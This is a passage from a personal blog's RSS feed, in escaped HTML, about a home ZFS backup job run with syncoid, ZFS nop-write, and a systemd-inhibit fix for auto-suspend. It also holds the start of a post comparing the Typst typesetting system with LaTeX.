&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt; 03:00:43 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;337636&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup@syncoid_desktop_2024-12-27:23:38:04-GMT00:00 ... syncoid_desktop_2024-12-28:03:00:43-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 1.3 GB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# with `nop-write`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt; 13:28:38 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;26300&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup@syncoid_desktop_2024-12-28:13:12:15-GMT00:00 ... syncoid_desktop_2024-12-28:13:28:38-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ &lt;span style="color:#ae81ff"&gt;84&lt;/span&gt; KB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I am now questioning why I didn&amp;rsquo;t use &lt;code&gt;rsync&lt;/code&gt; in the first place, however.
&lt;code&gt;nop-write&lt;/code&gt; saves me from replicating the unchanged overwritten file, by preventing the writes from actually hitting the disk.
It doesn&amp;rsquo;t avoid the whole daily download from the VPS though!
ZFS couldn&amp;rsquo;t possibly know what writes would be no-ops without having the new data to checksum against what is already on disk.&lt;/p&gt;
&lt;p&gt;The only slight gotcha with &lt;code&gt;nop-write&lt;/code&gt; is that you need to make sure that you don&amp;rsquo;t truncate the file you rewrite.
For example something like this won&amp;rsquo;t work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ssh $VPS_HOSTNAME &lt;span style="color:#e6db74"&gt;&amp;#39;tar -cf - /var/www/&amp;#39;&lt;/span&gt; &amp;gt; var-www.tar
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you do this, then the shell first truncates the file before writing the new data.
There is probably a clever bash way of avoiding the truncation, but using &lt;code&gt;dd&lt;/code&gt; with the &lt;code&gt;conv=notrunc&lt;/code&gt; option is a bit more self documenting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ssh $VPS_HOSTNAME &lt;span style="color:#e6db74"&gt;&amp;#39;tar -cf - /var/www/&amp;#39;&lt;/span&gt; | dd of&lt;span style="color:#f92672"&gt;=&lt;/span&gt;var-www.tar conv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;notrunc bs&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1M
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although &lt;code&gt;nop-write&lt;/code&gt; sounds very compelling at first &amp;ndash; it is actually fairly niche. Most of the time it is possible (and more efficient) to avoid rewriting unchanged data!&lt;/p&gt;
&lt;h2 id="a-few-weeks-later"&gt;a few weeks later&lt;/h2&gt;
&lt;p&gt;At some point I decided to enable some power management settings on my desktop.
Usually, my desktop is suspended. However, sometimes one of my meddling cats will step on the keyboard, waking it up, so it is handy if the machine automatically suspends after being idle for some amount of time.
Auto-suspend however created a bit of headache for this backup job:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:44 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Starting tank-offsite.service - Backup tank to tank-offsite...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: PING 192.168.1.10 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;192.168.1.10&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 56&lt;span style="color:#f92672"&gt;(&lt;/span&gt;84&lt;span style="color:#f92672"&gt;)&lt;/span&gt; bytes of data.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 192.168.1.10: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;12.8 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: --- 192.168.1.10 ping statistics ---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; packets transmitted, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; received, 0% packet loss, time 0ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: rtt min/avg/max/mdev &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 12.842/12.842/12.842/0.000 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:56 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup@syncoid_desktop_2025-01-09:03:00:51-GMT00:00 ... syncoid_desktop_2025-01-10:03:00:56-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 3.2 MB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:01:11 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/email@syncoid_desktop_2025-01-09:03:01:11-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:11-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 1.5 MB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:01:13 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/lxc@syncoid_desktop_2025-01-09:03:01:13-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:13-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; KB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:01:14 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/pbs@syncoid_desktop_2025-01-09:03:01:13-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:14-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 1.0 GB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 08:52:35 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296484&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: cannot receive incremental stream: dataset is busy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:53 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296488&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: lzop: Broken pipe: &amp;lt;stdout&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:53 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: CRITICAL ERROR: ssh -S /tmp/syncoid-root@192.168.1.10-1736478055-2255 root@192.168.1.10 &lt;span style="color:#e6db74"&gt;&amp;#39; zfs send -I &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;tank/backup/pbs&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;@&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;syncoid_desktop_2025-01-09:03:01:13-G&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:55 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/veeam@syncoid_desktop_2025-01-09:03:15:13-GMT00:00 ... syncoid_desktop_2025-01-10:19:29:55-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; KB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:59 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/data@syncoid_desktop_2025-01-09:05:52:20-GMT00:00 ... syncoid_desktop_2025-01-10:19:29:58-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 35.8 MB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Main process exited, code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;exited, status&lt;span style="color:#f92672"&gt;=&lt;/span&gt;2/INVALIDARGUMENT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Failed with result &lt;span style="color:#e6db74"&gt;&amp;#39;exit-code&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Failed to start tank-offsite.service - Backup tank to tank-offsite.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Consumed 31.336s CPU time, 43.7M memory peak.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It wasn&amp;rsquo;t immediately clear what was going wrong to me, as I&amp;rsquo;d completely forgotten that auto-suspend was enabled.
What made it more obvious was this other journal entry:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop systemd-logind&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1367&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: The system will suspend now!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop ModemManager&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1645&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &amp;lt;msg&amp;gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;sleep-monitor-systemd&lt;span style="color:#f92672"&gt;]&lt;/span&gt; system is about to suspend
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop NetworkManager&lt;span style="color:#f92672"&gt;[&lt;/span&gt;2071&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &amp;lt;info&amp;gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;1736478940.0158&lt;span style="color:#f92672"&gt;]&lt;/span&gt; manager: sleep: sleep requested &lt;span style="color:#f92672"&gt;(&lt;/span&gt;sleeping: no enabled: yes&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop NetworkManager&lt;span style="color:#f92672"&gt;[&lt;/span&gt;2071&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &amp;lt;info&amp;gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;1736478940.0163&lt;span style="color:#f92672"&gt;]&lt;/span&gt; manager: NetworkManager state is now ASLEEP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Reached target sleep.target - Sleep.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Starting nvidia-suspend.service - NVIDIA system suspend actions...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Conveniently, it is quite easy to add &amp;ldquo;inhibitions&amp;rdquo; that prevent the system from sleeping.
I added a &lt;code&gt;systemd-inhibit&lt;/code&gt; call on the &lt;code&gt;ExecStart=&lt;/code&gt; line of the unit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/bin/systemd-inhibit /usr/local/sbin/syncoid &lt;span style="color:#f92672"&gt;[&lt;/span&gt;-snip-&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This wasn&amp;rsquo;t quite enough, however. There is &lt;a href="https://github.com/systemd/systemd/issues/14045"
target="_blank" rel="noreferrer noopener"
&gt;a race condition&lt;/a&gt; if you call &lt;code&gt;systemd-inhibit&lt;/code&gt; while the machine is still waking from sleep:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; 03:00:51 desktop systemd-inhibit&lt;span style="color:#f92672"&gt;[&lt;/span&gt;398074&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Failed to inhibit: The operation inhibition has been requested &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; is already running
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; 03:00:51 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Main process exited, code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;exited, status&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1/FAILUR
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ve hacked around this by adding a 30s sleep in another &lt;code&gt;ExecStartPre=&lt;/code&gt; line.
I&amp;rsquo;m somewhat surprised there isn&amp;rsquo;t a built-in option to inhibit sleep while a unit is running, but I suppose this is a niche thing to do.&lt;/p&gt;</description></item><item><title>Typst</title><link>https://george.honeywood.org.uk/blog/typst/</link><pubDate>Sun, 18 Feb 2024 10:34:22 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typst/</guid><description>&lt;p&gt;Typst is pretty much what I have been looking for since I was about 15 and had to write my first long form report for school. I didn&amp;rsquo;t like using Word; I spent too much time fighting the formatting and I couldn&amp;rsquo;t easily run it on my PC at home. At the same time, I needed a bit more control over layout than what I could easily get using Markdown and pandoc.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typst/images/typst_hu_24a3ffcce42b6c23.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typst/images/typst_hu_64a71c6ba858c15f.webp 320w, https://george.honeywood.org.uk/blog/typst/images/typst_hu_bbcae167ad43137.webp 640w, https://george.honeywood.org.uk/blog/typst/images/typst_hu_81f48b5f6eeedab3.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typst/images/typst_hu_ae1f2c0fee1145f4.jpg'
width="1271"
height="835"
alt='My CV, prepared using Typst'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
An example of a document prepared using Typst, my CV
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;At the time the solution I settled upon was LaTeX. LaTeX is pretty cool. You write whatever you want, then let it produce a pretty document for you. Unfortunately, the UX is not really up to modern standards. To compile a document with a bibliography you have to run a byzantine incantation of commands, such as &lt;a href="https://tex.stackexchange.com/a/204298"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;pdflatex&lt;/code&gt; -&amp;gt; &lt;code&gt;biber&lt;/code&gt; -&amp;gt; &lt;code&gt;pdflatex&lt;/code&gt; -&amp;gt; &lt;code&gt;pdflatex&lt;/code&gt;&lt;/a&gt; (or you can use &lt;code&gt;latexmk&lt;/code&gt; which handles this stuff for you). It&amp;rsquo;s not hard to install, but it does eat a lot of space (the equivalent of about 20 electron apps!):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ du -sh /usr/share/tex&lt;span style="color:#f92672"&gt;{&lt;/span&gt;live,mf&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2.9G /usr/share/texlive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;408M /usr/share/texmf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I initially avoided some of this complexity by using ShareLaTeX &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;, a web based LaTeX editor. Whether you use a local install or an online editor, you are still stuck with the underlying language. You better pray that you don&amp;rsquo;t want to change any formatting other than the margins or something that there is not an existing package for. TeX is macro based, and feels exactly like it was released in 1978, with pretty poor tooling to match.&lt;/p&gt;
&lt;p&gt;For context, have fun trying to figure out what output &lt;a href="https://github.com/liantze/AltaCV/blob/74bc05df383c08ceacfcc6d438c1aa2b207cd1dc/altacv.cls#L328-L337"
target="_blank" rel="noreferrer noopener"
&gt;this macro&lt;/a&gt; would produce:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-latex" data-lang="latex"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;\newcommand&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;\cvskill&lt;/span&gt;}[2]{&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\textcolor&lt;/span&gt;{emphasis}{&lt;span style="color:#66d9ef"&gt;\textbf&lt;/span&gt;{#1}}&lt;span style="color:#66d9ef"&gt;\hfill&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\BeginAccSupp&lt;/span&gt;{method=plain,ActualText={#2}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;\foreach&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\x&lt;/span&gt; in {1,...,5}{&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\ifdimequal&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;\x&lt;/span&gt; pt - #2 pt}{0.5pt}&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; {&lt;span style="color:#66d9ef"&gt;\clipbox*&lt;/span&gt;{0pt -0.25ex {.5&lt;span style="color:#66d9ef"&gt;\width&lt;/span&gt;} {&lt;span style="color:#66d9ef"&gt;\totalheight&lt;/span&gt;}}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{accent}&lt;span style="color:#66d9ef"&gt;\cvRatingMarker&lt;/span&gt;}&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;\clipbox*&lt;/span&gt;{{.5&lt;span style="color:#66d9ef"&gt;\width&lt;/span&gt;} -0.25ex {&lt;span style="color:#66d9ef"&gt;\width&lt;/span&gt;} {&lt;span style="color:#66d9ef"&gt;\totalheight&lt;/span&gt;}}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{body!30}&lt;span style="color:#66d9ef"&gt;\cvRatingMarker&lt;/span&gt;}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#66d9ef"&gt;\ifdimgreater&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;\x&lt;/span&gt; bp}{#2 bp}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{body!30}}{&lt;span style="color:#66d9ef"&gt;\color&lt;/span&gt;{accent}}&lt;span style="color:#66d9ef"&gt;\cvRatingMarker&lt;/span&gt;}&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; }&lt;span style="color:#66d9ef"&gt;\EndAccSupp&lt;/span&gt;{}&lt;span style="color:#66d9ef"&gt;\par&lt;/span&gt;&lt;span style="color:#75715e"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;d think a system from the 1970s would be quick on modern computers. This is not the case. Once your document grows to have a decent number of embedded figures, everything takes a while. You can work around this, but it feels like it should just work. From scratch, compiling the &lt;a href="https://github.com/GeorgeHoneywood/final-year-project/files/11584765/george-honeywood-final-report.pdf"
target="_blank" rel="noreferrer noopener"
&gt;Final Year Project report&lt;/a&gt; I wrote for uni took a solid 23 seconds, and it isn&amp;rsquo;t even that large of a document, only about 50 pages and 13 figures. Subsequent compiles are a bit quicker, taking about 5 seconds, but that is still quite far from ideal.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ time latexmk -pdf -silent main.tex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;pdflatex&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Latexmk: Run number &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; of rule &lt;span style="color:#e6db74"&gt;&amp;#39;biber main&amp;#39;&lt;/span&gt;
